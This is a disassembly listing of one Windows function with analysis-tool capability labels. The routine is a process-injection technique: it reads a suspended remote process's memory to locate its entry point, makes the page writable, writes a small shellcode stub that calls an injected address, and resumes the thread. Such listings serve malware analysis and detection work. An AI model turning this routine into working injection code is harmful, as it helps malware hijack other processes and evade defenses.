Function at 0x180004790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch process command line

Disassembly:
mov rax, rsp
push rbp
push rbx
lea rbp, [rax - 0x798]
sub rsp, 0x888
mov qword [rax + 0x10], r12
mov r12d, edx
mov qword [rax - 0x18], r13
lea rdx, [rbp + 0x7b8]
mov qword [rax - 0x20], r14
mov r13, rcx
mov rax, r8
xor r14d, r14d
mov rcx, rax
mov qword [rbp + 0x7b8], r14
lea r8, [rsp + 0x38]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
call fcn.180004470
mov rbx, qword [rbp + 0x7b8]
test eax, eax
je 0x180004a56
xorps xmm0, xmm0
mov dword [rsp + 0x40], r14d
lea rcx, str.ntdll
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180004a56
lea rcx, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x20], rcx
lea r9d, [r14 + 0x30]
mov rcx, rbx
lea r8, [rsp + 0x68]
call rax
test eax, eax
js 0x180004a56
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x7c8
call fcn.180005e80
mov rdx, qword [rsp + 0x70]
lea r8, [rbp - 0x60]
mov r9d, 0x7c8
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180004a56
mov qword [rsp + 0x8a0], rdi
mov qword [rsp + 0x870], r15
mov r15, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r14 + 8]
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180004a46
mov r9d, 0x400
mov qword [rsp + 0x20], r14
mov r8, rax
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180004a32
movsxd rax, dword [rdi + 0x3c]
mov r14d, dword [rax + rdi + 0x28]
add r14, r15
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r9, [rsp + 0x30]
mov r8d, r12d
mov rdx, r13
mov rcx, rbx
call fcn.1800037c0
test eax, eax
je 0x180004a46
xor ecx, ecx
mov dword [rsp + 0x48], 0xf0e48348
mov eax, 0xffffbb48
mov qword [rsp + 0x5d], rcx
mov word [rsp + 0x50], ax
mov rdx, r14
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x52], rax
lea r9d, [rcx + 0x40]
mov eax, 0xffffd3ff
mov word [rsp + 0x65], cx
mov word [rsp + 0x5a], ax
lea r8d, [rcx + 0x15]
lea rax, [rbp + 0x7b8]
mov byte [rsp + 0x67], cl
mov qword [rsp + 0x30], rcx
mov dword [rbp + 0x7b8], ecx
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x4c], 0x20ec8348
mov byte [rsp + 0x5c], 0xc3
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180004a46
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180004a46
lea rcx, [rsp + 0x30]
mov r9d, 0x15
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x48]
mov rcx, rbx
mov rdx, r14
call rax
test eax, eax
je 0x180004a46
cmp qword [rsp + 0x30], 0x15
jne 0x180004a46
mov r9d, dword [rbp + 0x7b8]
lea rax, [rbp + 0x7b8]
mov r8d, 0x15
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180004a46
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ResumeThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180004a46
mov rcx, qword [rsp + 0x38]
call rax
jmp 0x180004a46
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x8a0]
mov r15, qword [rsp + 0x870]
cmp qword [rsp + 0x38], 0
mov r14, qword [rsp + 0x878]
mov r13, qword [rsp + 0x880]
mov r12, qword [rsp + 0x8a8]
je 0x180004a81
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x180004a8f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x888
pop rbx
pop rbp
ret